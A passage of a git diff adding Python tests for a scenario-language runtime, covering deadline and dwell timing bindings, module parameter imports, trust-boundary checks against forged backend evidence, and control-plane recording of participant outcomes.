"required": True}} + field = payload["behavior_specifications"]["participant-behavior"]["autonomous_execution"] + for part in path[:-1]: + field = field[part] + field[path[-1]] = "${bound}" + scenario = parse_sdl(yaml.safe_dump(payload)) + with pytest.raises(SDLInstantiationError): + instantiate_scenario(scenario, {"bound": invalid}) + + +def test_numeric_parameter_must_be_declared() -> None: + payload = yaml.safe_load(_activity_policy_yaml()) + payload["behavior_specifications"]["participant-behavior"]["autonomous_execution"]["max_occurrences"] = "${missing}" + source = yaml.safe_dump(payload) + with pytest.raises(SDLValidationError): + parse_sdl(source) + + +@pytest.mark.parametrize("event", ["start", "end", "observed", "effective"]) +def test_explicit_deadline_binding_compiles_action_event_and_shared_coordinate(event: str) -> None: + scenario = parse_sdl(yaml.safe_dump(_bound_deadline_payload(event))) + model = compile_runtime_model(scenario) + policy = next(iter(model.behavior_specifications.values())).autonomous_execution + binding = policy.temporal_bindings[0] + assert binding.temporal_id == "finish" + assert binding.action_contract_address == "participant.action-contract.probe-customer-portal-login" + assert binding.clock_address == "time.clock.scenario-clock" + assert binding.constraint_address == "time.constraint.finish-by-five" + assert binding.event_point == event + assert binding.end.tick == 5 + assert binding.contract_digest.startswith("sha256:") + + manifest = _autonomous_manifest(model) + gaps = participant_autonomous_execution_capability_gaps(manifest, [policy], model.time_model) + assert any("temporal" in gap for gap in gaps) + + +def test_shared_constraint_keeps_existing_clock_reference_syntax() -> None: + payload = _bound_deadline_payload() + payload["temporal_constraints"]["finish-by-five"]["clock_ref"] = "clocks.scenario-clock" + source = yaml.safe_dump(payload) + with pytest.raises(SDLValidationError, match="does not reference a declared clock"): + parse_sdl(source) + + +@pytest.mark.parametrize("kind", ["user-deadline", "automation-dwell"]) +def test_portable_temporal_examples_compile_and_parameterize(kind: str) -> None: + path = Path(__file__).resolve().parents[3] / "examples/scenarios/temporal-profiles" / f"{kind}.sdl.yaml" + source = parse_sdl_file(path) + scenario = instantiate_scenario(source, {"attempts": 1}) + model = compile_runtime_model(scenario) + policy = next(iter(model.behavior_specifications.values())).autonomous_execution + assert len(policy.temporal_bindings) == 1 + assert policy.max_action_attempts == 1 + assert policy.temporal_bindings[0].temporal_kind == ("deadline" if kind == "user-deadline" else "dwell") + + +def test_imported_numeric_parameters_bind_independently(tmp_path: Path) -> None: + payload = yaml.safe_load(_activity_policy_yaml()) + payload["variables"] = {"interval": {"type": "integer", "required": True}} + specification = payload["behavior_specifications"]["participant-behavior"] + specification["participant_role_refs"] = [] + specification["autonomous_execution"]["timing"] = {"minimum_ticks": "${interval}", "maximum_ticks": "${interval}"} + payload["module"] = { + "id": "examples/activity", + "version": "1.0.0", + "parameters": ["interval"], + "exports": {"behavior_specifications": ["participant-behavior"]}, + } + (tmp_path / "profile.yaml").write_text(yaml.safe_dump(payload)) + (tmp_path / "root.yaml").write_text( + yaml.safe_dump( + { + "name": "independent-profile-parameters", + "imports": [ + {"path": "profile.yaml", "namespace": name, "parameters": {"interval": ticks}} + for name, ticks in (("office", 10), ("lab", 20)) + ], + } + ) + ) + scenario = parse_sdl_file(tmp_path / "root.yaml") + bound = instantiate_scenario(scenario) + model = compile_runtime_model(bound) + assert {spec.autonomous_execution.timing_minimum_ticks for spec in model.behavior_specifications.values()} == { + 10, + 20, + } + + +@pytest.mark.parametrize("kind", ["deadline", "dwell"]) +def test_explicit_temporal_bindings_follow_private_module_imports(tmp_path: Path, kind: str) -> None: + payload = _bound_deadline_payload() if kind == "deadline" else _bound_dwell_payload() + payload["behavior_specifications"]["participant-behavior"]["participant_role_refs"] = [] + payload["module"] = { + "id": "examples/temporal-profile", + "version": "1.0.0", + "exports": {"behavior_specifications": ["participant-behavior"]}, + } + (tmp_path / "profile.yaml").write_text(yaml.safe_dump(payload), encoding="utf-8") + root = tmp_path / "root.yaml" + root.write_text( + yaml.safe_dump({"name": "bound-import", "imports": [{"path": "profile.yaml", "namespace": "office"}]}), + encoding="utf-8", + ) + model = compile_runtime_model(parse_sdl_file(root)) + binding = next(iter(model.behavior_specifications.values())).autonomous_execution.temporal_bindings[0] + assert binding.clock_address == "time.clock.office.__private.scenario-clock" + if kind == "dwell": + assert ( + binding.observation_boundary_address == "participant.observation-boundary.office.__private.participant-view" + ) + assert binding.condition_precondition_id == "portal-present" + + +def test_bound_temporal_domain_cannot_contradict_the_selected_shared_clock() -> None: + payload = _bound_deadline_payload() + payload["action_contracts"]["probe-customer-portal-login"]["temporal_contracts"][0]["time_domain"] = "episode_step" + source = yaml.safe_dump(payload) + with pytest.raises(SDLValidationError, match="time domain"): + parse_sdl(source) + + +@pytest.mark.parametrize("mutation", ["start", "condition", "mode"]) +def test_resolved_dwell_contract_rejects_missing_or_conflicting_semantics(mutation: str) -> None: + from raes_contracts.contracts.participant_temporal import ParticipantTemporalBindingModel + + model = compile_runtime_model(parse_sdl(yaml.safe_dump(_bound_dwell_payload()))) + binding = ( + next(iter(model.behavior_specifications.values())) + .autonomous_execution.temporal_bindings[0] + .model_dump(mode="json") + ) + if mutation == "mode": + binding["evidence_mode"] = "event" + else: + binding.pop("start" if mutation == "start" else "condition_precondition_id") + with pytest.raises(ValueError, match="dwell"): + ParticipantTemporalBindingModel.model_validate(binding) + + +@pytest.mark.parametrize("kind", ["deadline", "dwell"]) +def test_published_authoring_schema_accepts_explicit_shared_time_binding(kind: str) -> None: + import json + + from jsonschema import Draft202012Validator + + schema_path = Path(__file__).resolve().parents[3] / "contracts/schemas/sdl/sdl-authoring-input-v1.json" + schema = json.loads(schema_path.read_text()) + payload = _bound_deadline_payload() if kind == "deadline" else _bound_dwell_payload() + Draft202012Validator(schema).validate(payload) + + +@pytest.mark.parametrize("mutation", ["subject", "clock", "constraint", "kind", "policy_clock"]) +def test_temporal_bindings_reject_invalid_references_before_backend_selection(mutation: str) -> None: + payload = _bound_deadline_payload() + constraint = payload["temporal_constraints"]["finish-by-five"] + binding = payload["action_contracts"]["probe-customer-portal-login"]["temporal_contracts"][0]["shared_time_binding"] + if mutation == "subject": + constraint["subject_refs"] = ["nodes.customer-db"] + elif mutation in {"clock", "constraint"}: + binding[f"{mutation}_ref"] = "missing" + elif mutation == "kind": + constraint.update(constraint_kind="window", start={"tick": 0}) + else: + payload["clocks"]["other-clock"] = dict(payload["clocks"]["scenario-clock"]) + constraint["clock_ref"] = "other-clock" + binding["clock_ref"] = "other-clock" + source = yaml.safe_dump(payload) + with pytest.raises(SDLValidationError, match="temporal binding"): + parse_sdl(source) diff --git a/implementations/python/tests/test_act_614_temporal_runtime.py b/implementations/python/tests/test_act_614_temporal_runtime.py new file mode 100644 index 000000000..820e5ee80 --- /dev/null +++ b/implementations/python/tests/test_act_614_temporal_runtime.py @@ -0,0 +1,327 @@ +"""ACT-614 temporal runtime.""" + +from __future__ import annotations + +from dataclasses import replace + +import pytest +from implementations.python.tests._act_614_temporal_fixtures import ( + _activity_temporal_payload, + _bound_deadline_payload, + _bound_dwell_payload, + _DwellEvidenceRuntime, + _temporal_target, + _TemporalEvidenceRuntime, +) +from implementations.python.tests.test_dsl_437_benign_participant_execution import ( + _activity_policy_yaml, + _NativeParticipantRuntime, +) +from implementations.python.tests.test_issue_899_participant_resource_budgets import _budget_policy_yaml +from raes_processor.compiler import compile_runtime_model +from raes_runtime.manager import RuntimeManager + + +def test_deadline_five_prevents_native_dispatch_at_tick_ten() -> None: + payload = _bound_deadline_payload() + payload["temporal_constraints"]["green-cadence"]["start"] = {"tick": 10} + scenario, target = _temporal_target(payload) + manager = RuntimeManager(target) + try: + applied = manager.apply(manager.plan(scenario)) + assert applied.success, applied.diagnostics + result = manager.advance_time("time.clock.scenario-clock", ticks=10) + assert target.participant_runtime.native_actions == [] + assert not result.success + assert any(d.code == "runtime.participant-temporal-guarantee-unsatisfied" for d in result.diagnostics) + history = next(iter(result.snapshot.participant_behavior_history.values())) + observation = history[-1] + assert observation["action_result"]["status"] == "rejected" + assert observation["temporal_assessments"][0]["status"] == "missed" + assert observation["temporal_assessments"][0]["native_execution"] == "not_dispatched" + finally: + manager._stop_participant_clock_driver() + + +def test_missing_deadline_evidence_does_not_turn_native_success_into_temporal_success() -> None: + scenario, target = _temporal_target(_bound_deadline_payload()) + manager = RuntimeManager(target) + result = manager.apply(manager.plan(scenario)) + assert not result.success + assert len(target.participant_runtime.native_actions) == 1 + history = next(iter(result.snapshot.participant_behavior_history.values())) + assert history[-1]["action_result"]["status"] == "succeeded" + assert history[-1]["temporal_assessments"][0]["status"] == "indeterminate" + assert history[-1]["temporal_assessments"][0]["native_execution"] == "reported" + + +@pytest.mark.parametrize("event", ["start", "end", "observed", "effective"]) +def test_exact_bound_event_evidence_satisfies_deadline(event: str) -> None: + scenario, target = _temporal_target(_bound_deadline_payload(event), _TemporalEvidenceRuntime()) + manager = RuntimeManager(target) + result = manager.apply(manager.plan(scenario)) + assert result.success, result.diagnostics + history = next(iter(result.snapshot.participant_behavior_history.values())) + assert history[-1]["action_result"]["status"] == "succeeded" + assert history[-1]["temporal_assessments"][0]["status"] == "met" + + +@pytest.mark.parametrize( + "mutation", ["future", "event", "boundary", "episode_id", "action_instance_id", "execution_generation", "segment"] +) +def test_deadline_evidence_cannot_escape_its_bound_context(mutation: str) -> None: + scenario, target = _temporal_target(_bound_deadline_payload(), _TemporalEvidenceRuntime(mutation=mutation)) + manager = RuntimeManager(target) + result = manager.apply(manager.plan(scenario)) + assert not result.success + if mutation in {"boundary", "episode_id", "action_instance_id", "execution_generation"}: + assert not result.snapshot.participant_behavior_history + assert any(d.code == "runtime.participant-autonomous-action-protocol-invalid" for d in result.diagnostics) + return + history = next(iter(result.snapshot.participant_behavior_history.values())) + assert history[-1]["action_result"]["status"] == "succeeded" + assert history[-1]["temporal_assessments"][0]["status"] == "indeterminate" + + +@pytest.mark.parametrize("late", [False, True]) +def test_concurrent_dispatch_obeys_the_same_temporal_gate(late: bool) -> None: + payload = _bound_deadline_payload() + payload["entities"]["second"] = dict(payload["entities"]["enterprise-participant"]) + payload["agents"]["second"] = {**payload["agents"]["participant-agent"], "affiliations": ["second"]} + spec = payload["behavior_specifications"]["participant-behavior"] + spec["participant_refs"].append("second") + spec["autonomous_execution"]["max_in_flight"] = 2 + if late: + payload["temporal_constraints"]["green-cadence"]["start"] = {"tick": 10} + scenario, target = _temporal_target(payload, _TemporalEvidenceRuntime()) + manager = RuntimeManager(target) + result = manager.apply(manager.plan(scenario)) + if late: + assert result.success + result = manager.advance_time("time.clock.scenario-clock", ticks=10) + assert not result.success + assert target.participant_runtime.native_actions == [] + else: + assert result.success, result.diagnostics + assert len(target.participant_runtime.native_actions) == 2 + assert len(result.snapshot.participant_behavior_history) == 2 + assert all( + history[-1]["temporal_assessments"][0]["status"] == "met" + for history in result.snapshot.participant_behavior_history.values() + ) + + +@pytest.mark.parametrize("mutation", [None, "missing", "gap", "false", "endpoints", "wrong_condition"]) +def test_dwell_requires_condition_coverage_before_native_dispatch(mutation: str | None) -> None: + scenario, target = _temporal_target(_bound_dwell_payload(), _DwellEvidenceRuntime(mutation=mutation)) + manager = RuntimeManager(target) + assert manager.apply(manager.plan(scenario)).success + result = manager.advance_time("time.clock.scenario-clock", ticks=10) + assert result.success is (mutation is None), result.diagnostics + assert len(target.participant_runtime.native_actions) == (1 if mutation is None else 0) + history = next(iter(result.snapshot.participant_behavior_history.values())) + assessment = history[-1]["temporal_assessments"][0] + assert (assessment["status"] == "met") is (mutation is None) + assert assessment["context"]["binding"]["condition_precondition_id"] == "portal-present" + + +def test_pause_does_not_certify_a_dwell_condition_during_frozen_time() -> None: + scenario, target = _temporal_target(_bound_dwell_payload(), _DwellEvidenceRuntime()) + manager = RuntimeManager(target) + assert manager.apply(manager.plan(scenario)).success + assert manager.pause_time("time.clock.scenario-clock").success + assert manager.resume_time("time.clock.scenario-clock").success + result = manager.advance_time("time.clock.scenario-clock", ticks=10) + assert not result.success + assert target.participant_runtime.native_actions == [] + + +@pytest.mark.parametrize("replay", [False, True]) +@pytest.mark.parametrize("reuse", [False, True]) +def test_reset_and_replay_require_fresh_action_evidence(replay: bool, reuse: bool) -> None: + scenario, target = _temporal_target( + _bound_deadline_payload(), _TemporalEvidenceRuntime(mutation="reused" if reuse else None) + ) + manager = RuntimeManager(target) + first = manager.apply(manager.plan(scenario)) + assert first.success + assert manager.reset_time("time.clock.scenario-clock", replay=replay).success + result = manager.run_due_participant_actions() + assert result.success is (not reuse) + history = next(iter(result.snapshot.participant_behavior_history.values())) + observations = [event for event in history if event["event_type"] == "observation_emitted"] + if reuse: + assert len(observations) == 1 + assert observations[0] == next(iter(first.snapshot.participant_behavior_history.values()))[-1] + else: + old, new = observations[-2:] + assert old["action_instance_id"] != new["action_instance_id"] + scope = new["temporal_assessments"][0]["context"] + assert scope["submitted_at"]["segment"] == scope["bound_end"]["segment"] == 1 + assert scope["execution_generation"] == 1 + assert scope["episode_id"] != old["episode_id"] + from raes_runtime.control_plane_store_snapshots import _snapshot_from_payload, _snapshot_payload + + assert ( + _snapshot_from_payload(_snapshot_payload(result.snapshot)).participant_behavior_history + == result.snapshot.participant_behavior_history + ) + + +@pytest.mark.parametrize("source", [_activity_policy_yaml, _budget_policy_yaml]) +def test_activity_deadline_rejection_does_not_consume_native_resources(source) -> None: + from implementations.python.tests.test_dsl_437_benign_participant_execution import _activity_control + + scenario, target = _temporal_target(_activity_temporal_payload(source)) + manager = RuntimeManager(target, stochastic_controls=[_activity_control()]) + initial = manager.apply(manager.plan(scenario)) + assert initial.success, initial.diagnostics + state = next(iter(initial.snapshot.participant_autonomous_execution_states.values())) + for _tick in range(10, state["next_tick"] + 1, 10): + result = manager.advance_time("time.clock.scenario-clock", ticks=10) + assert not result.success + assert target.participant_runtime.native_actions == [] + assert result.snapshot.participant_resource_budget_events == initial.snapshot.participant_resource_budget_events + assert not any("measurement" in diagnostic.code for diagnostic in result.diagnostics) + + +def test_temporal_indeterminacy_never_triggers_native_retry() -> None: + from implementations.python.tests.test_dsl_437_benign_participant_execution import _activity_control + from raes.participant_behavior import ParticipantFailureClass + + class FailedWithoutTiming(_NativeParticipantRuntime): + def _model_action(self, request, snapshot, *, episode_id): + native = super()._model_action(request, snapshot, episode_id=episode_id) + return replace( + native, + action_result=native.action_result.model_copy( + update={"status": "failed", "failure_class": ParticipantFailureClass.TIMEOUT} + ), + ) + + payload = _activity_temporal_payload(_activity_policy_yaml) + payload["temporal_constraints"]["finish-by-five"]["end"]["tick"] = 200 + scenario, target = _temporal_target(payload, FailedWithoutTiming()) + manager = RuntimeManager(target, stochastic_controls=[_activity_control()]) + initial = manager.apply(manager.plan(scenario)) + assert initial.success + state = next(iter(initial.snapshot.participant_autonomous_execution_states.values())) + for _tick in range(10, state["next_tick"] + 1, 10): + result = manager.advance_time("time.clock.scenario-clock", ticks=10) + assert not result.success + assert len(target.participant_runtime.native_actions) == 1 + + +@pytest.mark.parametrize("event", ["start", "end", "observed", "effective"]) +def test_temporal_assessment_uses_selected_event_not_submission_time(event: str) -> None: + from raes_contracts.contracts.participant_temporal import ParticipantTemporalEvidenceModel + from raes_contracts.participant_temporal import assess_temporal_guarantee + from raes_runtime.time_coordinator import TimeCoordinator + + scenario, target = _temporal_target(_bound_deadline_payload(event), _TemporalEvidenceRuntime()) + manager = RuntimeManager(target) + initial = manager.apply(manager.plan(scenario)) + observed = next(iter(initial.snapshot.participant_behavior_history.values()))[-1] + proof = ParticipantTemporalEvidenceModel.model_validate(observed["action_result"]["temporal_evidence"][0]) + coordinator = TimeCoordinator(compile_runtime_model(scenario).time_model) + advanced = coordinator.advance(initial.snapshot, "time.clock.scenario-clock", ticks=10) + clock = advanced.time_model_state.clocks["time.clock.scenario-clock"] + late = proof.model_copy(update={"coordinate": clock.coordinate}) + assessment = assess_temporal_guarantee( + proof.context, (late,), observed["observation_boundary_address"], clock, native_execution="reported" + ) + assert proof.context.submitted_at.tick == 0 + assert assessment.status == "missed" + assert assessment.native_execution == "reported" + + +def test_deadline_is_inclusive_at_the_exact_superdense_coordinate() -> None: + from raes_contracts.contracts.participant_temporal import ParticipantTemporalEvidenceModel + from raes_contracts.contracts.time_model import TimeCoordinateModel + from raes_contracts.participant_temporal import assess_temporal_guarantee + from raes_runtime.time_coordinator import TimeCoordinator + + scenario, target = _temporal_target(_bound_deadline_payload(), _TemporalEvidenceRuntime()) + manager = RuntimeManager(target) + initial = manager.apply(manager.plan(scenario)) + observed = next(iter(initial.snapshot.participant_behavior_history.values()))[-1] + proof = ParticipantTemporalEvidenceModel.model_validate(observed["action_result"]["temporal_evidence"][0]) + advanced = TimeCoordinator(compile_runtime_model(scenario).time_model).advance( + initial.snapshot, "time.clock.scenario-clock", ticks=10 + ) + clock = advanced.time_model_state.clocks["time.clock.scenario-clock"] + for microstep, expected in ((0, "met"), (1, "missed")): + candidate = proof.model_copy(update={"coordinate": TimeCoordinateModel(tick=5, microstep=microstep)}) + result = assess_temporal_guarantee( + proof.context, (candidate,), observed["observation_boundary_address"], clock, native_execution="reported" + ) + assert result.status == expected + + +def test_activity_commit_fences_completion_against_the_authoritative_generation() -> None: + from implementations.python.tests.test_dsl_437_benign_participant_execution import _activity_control + from raes_contracts.contracts import ParticipantAutonomousExecutionStateModel + from raes_runtime.participant_activity import resolve_participant_activity_controls + from raes_runtime.participant_scheduler_operations import _run_one_activity_action, participant_due_context + from raes_runtime.participant_scheduler_types import SchedulerRunState + from raes_runtime.time_coordinator import TimeCoordinator + + class ResetDuringCommit(_TemporalEvidenceRuntime): + def admit_action(self, request, snapshot): + result = super().admit_action(request, snapshot) + services = dict(run.working.participant_execution_services) + services[request.execution_scope_ref] = { + **services[request.execution_scope_ref], + "generation": 1, + "observed_generation": 1, + } + run.working = run.working.with_entries(dict(run.working.entries), participant_execution_services=services) + return result + + payload = _activity_temporal_payload(_activity_policy_yaml) + payload["temporal_constraints"]["finish-by-five"]["end"]["tick"] = 200 + scenario, target = _temporal_target(payload, ResetDuringCommit()) + manager = RuntimeManager(target, stochastic_controls=[_activity_control()]) + initialized = manager.apply(manager.plan(scenario)) + assert initialized.success + model = compile_runtime_model(scenario) + policy = next(iter(model.behavior_specifications.values())).autonomous_execution + state = ParticipantAutonomousExecutionStateModel.model_validate( + next(iter(initialized.snapshot.participant_autonomous_execution_states.values())) + ) + snapshot = initialized.snapshot + coordinator = TimeCoordinator(model.time_model) + for _tick in range(10, state.next_tick + 1, 10): + snapshot = coordinator.advance(snapshot, policy.clock_address, ticks=10) + run = SchedulerRunState(working=snapshot, diagnostics=[], changed=[]) + context = participant_due_context( + policy, + model.time_model, + target.participant_runtime, + state.participant_address, + state.next_tick, + 0, + resolve_participant_activity_controls([_activity_control()]), + ) + _run_one_activity_action(context, state, run) + assert any(d.code == "runtime.participant-execution-stale-completion" for d in run.diagnostics) + assert run.working.participant_execution_services[policy.address]["generation"] == 1 + assert run.working.participant_behavior_history == snapshot.participant_behavior_history + + +def test_native_action_cannot_change_the_shared_clock_to_certify_its_own_deadline() -> None: + from raes_runtime.time_coordinator import TimeCoordinator + + class SelfCertifyingClock(_TemporalEvidenceRuntime): + def admit_action(self, request, snapshot): + result = super().admit_action(request, snapshot) + advanced = TimeCoordinator(model.time_model).advance(result.snapshot, "time.clock.scenario-clock", ticks=10) + return replace(result, snapshot=advanced) + + scenario, target = _temporal_target(_bound_deadline_payload(), SelfCertifyingClock()) + model = compile_runtime_model(scenario) + manager = RuntimeManager(target) + result = manager.apply(manager.plan(scenario)) + assert not result.success + assert any(d.code == "runtime.participant-autonomous-action-protocol-invalid" for d in result.diagnostics) + assert result.snapshot.time_model_state.clocks["time.clock.scenario-clock"].coordinate.tick == 0 diff --git a/implementations/python/tests/test_act_614_temporal_security.py b/implementations/python/tests/test_act_614_temporal_security.py new file mode 100644 index 000000000..dba7cbaa8 --- /dev/null +++ b/implementations/python/tests/test_act_614_temporal_security.py @@ -0,0 +1,167 @@ +"""Temporal evidence authorization and backend trust-boundary regressions.""" + +from copy import deepcopy +from dataclasses import replace + +import pytest +import yaml +from implementations.python.tests._act_614_temporal_fixtures import ( + _activity_temporal_payload, + _bound_deadline_payload, + _bound_dwell_payload, + _temporal_target, + _TemporalEvidenceRuntime, +) +from implementations.python.tests.test_dsl_437_benign_participant_execution import ( + _activity_control, + _activity_policy_yaml, +) +from implementations.python.tests.test_issue_899_participant_resource_budgets import _budget_policy_yaml +from raes._errors import SDLValidationError +from raes.parser import parse_sdl +from raes_runtime.manager import RuntimeManager + + +@pytest.mark.parametrize("mutation", ["undeclared", "withheld", "foreign", "duplicate", "boundary"]) +def test_native_temporal_proofs_are_authorized_before_history_commit(mutation: str) -> None: + class MaliciousRuntime(_TemporalEvidenceRuntime): + def bind_autonomous_action(self, *args): + request = super().bind_autonomous_action(*args) + if mutation == "withheld": + request.implementation_selection.exposure_policy.withheld_refs.append("content.participant-observation") + return request + + def admit_action(self, request, snapshot): + native = super().admit_action(request, snapshot) + if mutation == "withheld": + return native + proof = native.action_result.temporal_evidence[0].model_copy(deep=True) + proofs = [proof] + if mutation == "undeclared": + proof.evidence_refs = ("evidence.undeclared",) + elif mutation == "foreign": + proof.context.participant_address = "participant.behavior.someone-else" + proofs = [*native.action_result.temporal_evidence, proof] + elif mutation == "duplicate": + proofs.append(proof.model_copy(deep=True)) + else: + proof.observation_boundary_address = "participant.observation-boundary.other" + action_result = native.action_result.model_copy(update={"temporal_evidence": proofs}) + histories = deepcopy(native.snapshot.participant_behavior_history) + histories[request.participant_address][-1]["action_result"] = action_result.model_dump(mode="json") + return replace( + native, + action_result=action_result, + snapshot=native.snapshot.with_entries( + dict(native.snapshot.entries), + participant_behavior_history=histories, + ), + ) + + scenario, target = _temporal_target(_bound_deadline_payload(), MaliciousRuntime()) + manager = RuntimeManager(target) + result = manager.apply(manager.plan(scenario)) + assert not result.success + assert not result.snapshot.participant_behavior_history + + +@pytest.mark.parametrize("phase", ["binding", "dispatch"]) +@pytest.mark.parametrize("mutation", ["strip", "bound"]) +@pytest.mark.parametrize("profile", ["v1", "v2", "v3", "concurrent"]) +def test_backend_cannot_mutate_authoritative_temporal_request(phase: str, mutation: str, profile: str) -> None: + class MutatingRuntime(_TemporalEvidenceRuntime): + def mutate(self, contexts): + for context in contexts: + if mutation == "strip": + context.shared_time = None + else: + context.shared_time.binding.end.tick = 1000 + context.shared_time.bound_end.tick = 1000 + + def bind_autonomous_action(self, *args): + request = super().bind_autonomous_action(*args) + if phase == "binding": + self.mutate(request.temporal_contexts) + return request + + def admit_action(self, request, snapshot): + if phase == "dispatch": + self.mutate(request.temporal_contexts) + return super().admit_action(request, snapshot) + + activity = profile in {"v2", "v3"} + source = _budget_policy_yaml if profile == "v3" else _activity_policy_yaml + payload = _activity_temporal_payload(source) if activity else _bound_deadline_payload() + deadline = 15 if activity else 5 + payload["temporal_constraints"]["finish-by-five"]["end"]["tick"] = deadline + if profile == "concurrent": + payload["entities"]["second"] = deepcopy(payload["entities"]["enterprise-participant"]) + payload["agents"]["second"] = { + **deepcopy(payload["agents"]["participant-agent"]), + "affiliations": ["second"], + } + spec = payload["behavior_specifications"]["participant-behavior"] + spec["participant_refs"].append("second") + spec["autonomous_execution"]["max_in_flight"] = 2 + scenario, target = _temporal_target(payload, MutatingRuntime()) + manager = RuntimeManager(target, stochastic_controls=(_activity_control(),) if activity else ()) + plan = manager.plan(scenario) + result = manager.apply(plan) + if activity: + result = manager.advance_time("time.clock.scenario-clock", ticks=10) + policy = next(iter(plan.model.behavior_specifications.values())).autonomous_execution + assert policy.temporal_bindings[0].end.tick == deadline + if phase == "dispatch": + assert not result.success + assert not result.snapshot.participant_behavior_history + else: + # Binding cannot remove or change the runtime-owned requirement. + histories = result.snapshot.participant_behavior_history.values() + assert histories + assert all( + history[-1]["temporal_assessments"][0]["context"]["bound_end"]["tick"] == deadline for history in histories + ) + + +@pytest.mark.parametrize( + "mutation", + [ + "foreign-boundary", + "participant-boundary", + "spec-boundary", + "policy-boundary", + "unobservable-condition", + "hidden-condition", + "undeclared-evidence", + ], +) +def test_dwell_requires_authorized_observation_of_its_condition(mutation: str) -> None: + payload = _bound_dwell_payload() + action = payload["action_contracts"]["probe-customer-portal-login"] + binding = action["temporal_contracts"][0]["shared_time_binding"] + condition = next(item for item in action["preconditions"] if item["precondition_id"] == "portal-present") + if mutation.endswith("boundary"): + payload["observation_boundaries"]["other-view"] = deepcopy( + payload["observation_boundaries"]["participant-view"] + ) + binding["observation_boundary_ref"] = "other-view" + if mutation in {"spec-boundary", "policy-boundary"}: + payload["agents"]["participant-agent"]["observation_boundaries"].append("other-view") + if mutation in {"participant-boundary", "policy-boundary"}: + payload["behavior_specifications"]["participant-behavior"]["observation_boundary_refs"].append("other-view") + elif mutation == "hidden-condition": + payload["observation_boundaries"]["participant-view"]["view_rules"] = [ + { + "information_ref": condition["support_refs"][0], + "boundary_class": "observable_resource", + "disposition": "hidden", + "visibility_basis": "Unavailable to this participant.", + } + ] + elif mutation == "unobservable-condition": + condition["support_refs"] = ["content.evaluator-notes"] + else: + condition["evidence_refs"] = ["content.evaluator-notes"] + source = yaml.safe_dump(payload) + with pytest.raises(SDLValidationError, match="temporal binding"): + parse_sdl(source) diff --git a/implementations/python/tests/test_act_617_mixed_control.py b/implementations/python/tests/test_act_617_mixed_control.py index 684c2b333..0681ab66e 100644 --- a/implementations/python/tests/test_act_617_mixed_control.py +++ b/implementations/python/tests/test_act_617_mixed_control.py @@ -110,11 +110,11 @@ def _scenario_yaml(*, mode: str = "mixed-control", include_declaration: bool = T role: blue agents: red-agent: - entity: red-team + affiliations: [red-team] authority_anchors: [entities.red-team] operating_scope: [nodes.web] supervisor-agent: - entity: blue-team + affiliations: [blue-team] authority_anchors: [entities.blue-team] operating_scope: [nodes.web] behavior_specifications: diff --git a/implementations/python/tests/test_act_618_outcome_control.py b/implementations/python/tests/test_act_618_outcome_control.py new file mode 100644 index 000000000..ed5310322 --- /dev/null +++ b/implementations/python/tests/test_act_618_outcome_control.py @@ -0,0 +1,235 @@ +"""Actual control-plane production and durable admission of local outcomes.""" + +from dataclasses import replace + +import pytest +import yaml +from raes.parser import parse_sdl +from raes_backend_stubs.stubs import create_stub_target +from raes_processor.compiler import compile_runtime_model +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_security import ControlPlaneIdentity, ControlPlaneRole, ParticipantControlSubjectBinding +from test_act_618_outcome_definition import local_scenario +from test_act_618_outcome_state import snapshot +from test_sem_215_participant_outcome_interpretation import EPISODE_ID, PARTICIPANT_ADDRESS, RULE_ADDRESS + + +def identity(): + return ControlPlaneIdentity( + "operator", + frozenset({ControlPlaneRole.OPERATOR}), + "stub", + participant_control_subjects=(ParticipantControlSubjectBinding(PARTICIPANT_ADDRESS, "controller:operator"),), + ) + + +def request(): + from raes_runtime.participant_outcome_control import ParticipantOutcomeUpdateRequest + + return ParticipantOutcomeUpdateRequest( + participant_address=PARTICIPANT_ADDRESS, + episode_id=EPISODE_ID, + outcome_id="local-task", + event_id="report-1", + rule_address=RULE_ADDRESS, + expected_revision=0, + expected_snapshot_revision=0, + ) + + +def control_plane(**options): + return RuntimeControlPlane( + create_stub_target(), + participant_outcome_model=compile_runtime_model(parse_sdl(yaml.safe_dump(local_scenario()))), + **(({"initial_snapshot": snapshot()} if "store" not in options else {}) | options), + ) + + +def test_control_plane_commits_report_and_audit_atomically_and_retries_once(): + with control_plane() as runtime: + receipt = runtime.record_participant_outcome(request(), identity=identity()) + assert runtime.snapshot.participant_outcome_history[PARTICIPANT_ADDRESS][0]["attainment"] == "attained" + assert runtime.record_participant_outcome(request(), identity=identity()) == receipt + assert len(runtime.snapshot.participant_outcome_history[PARTICIPANT_ADDRESS]) == 1 + assert any(event.action == "record_participant_outcome" for event in runtime.audit_log()) + + +@pytest.mark.parametrize( + "principal", + [ + None, + ControlPlaneIdentity("unbound", frozenset({ControlPlaneRole.OPERATOR})), + replace(identity(), target_name="other"), + replace(identity(), roles=frozenset({ControlPlaneRole.AUDITOR})), + ], +) +def test_outcome_write_requires_operator_target_and_participant_authority(principal): + with control_plane() as runtime: + update = request() + with pytest.raises(PermissionError): + runtime.record_participant_outcome(update, identity=principal) + assert runtime.snapshot.participant_outcome_history == {} + + +def test_changed_retry_is_rejected(): + with control_plane() as runtime: + runtime.record_participant_outcome(request(), identity=identity()) + changed = request().model_copy(update={"outcome_id": "different"}) + principal = identity() + with pytest.raises(ValueError, match="retry"): + runtime.record_participant_outcome(changed, identity=principal) + + +def test_stale_snapshot_revision_cannot_commit(): + with control_plane() as runtime: + changed = request().model_copy(update={"expected_snapshot_revision": 9}) + principal = identity() + with pytest.raises(ValueError, match="revision"): + runtime.record_participant_outcome(changed, identity=principal) + assert runtime.snapshot.participant_outcome_history == {} + + +@pytest.mark.parametrize("role", ["red", "blue", "green"]) +def test_same_category_is_produced_for_offensive_defensive_and_service_roles(role): + scenario = local_scenario() + scenario["entities"]["red-team"]["role"] = role + model = compile_runtime_model(parse_sdl(yaml.safe_dump(scenario))) + with RuntimeControlPlane( + create_stub_target(), participant_outcome_model=model, initial_snapshot=snapshot() + ) as runtime: + runtime.record_participant_outcome(request(), identity=identity()) + report = runtime.snapshot.participant_outcome_history[PARTICIPANT_ADDRESS][0] + assert (report["category"], report["attainment"]) == ("task_completion", "attained") + assert runtime.snapshot.evaluation_results == {} + assert runtime.snapshot.orchestration_results == {} + + +def test_local_store_replay_and_retry_survive_process_restart(tmp_path): + from raes_runtime.control_plane_store import LocalControlPlaneStore + + path = tmp_path / "runtime" + store = LocalControlPlaneStore(path) + update = request().model_copy(update={"expected_snapshot_revision": 1}) + with control_plane(store=store) as runtime: + store.save_snapshot(snapshot(), expected_revision=0) + receipt = runtime.record_participant_outcome(update, identity=identity()) + with 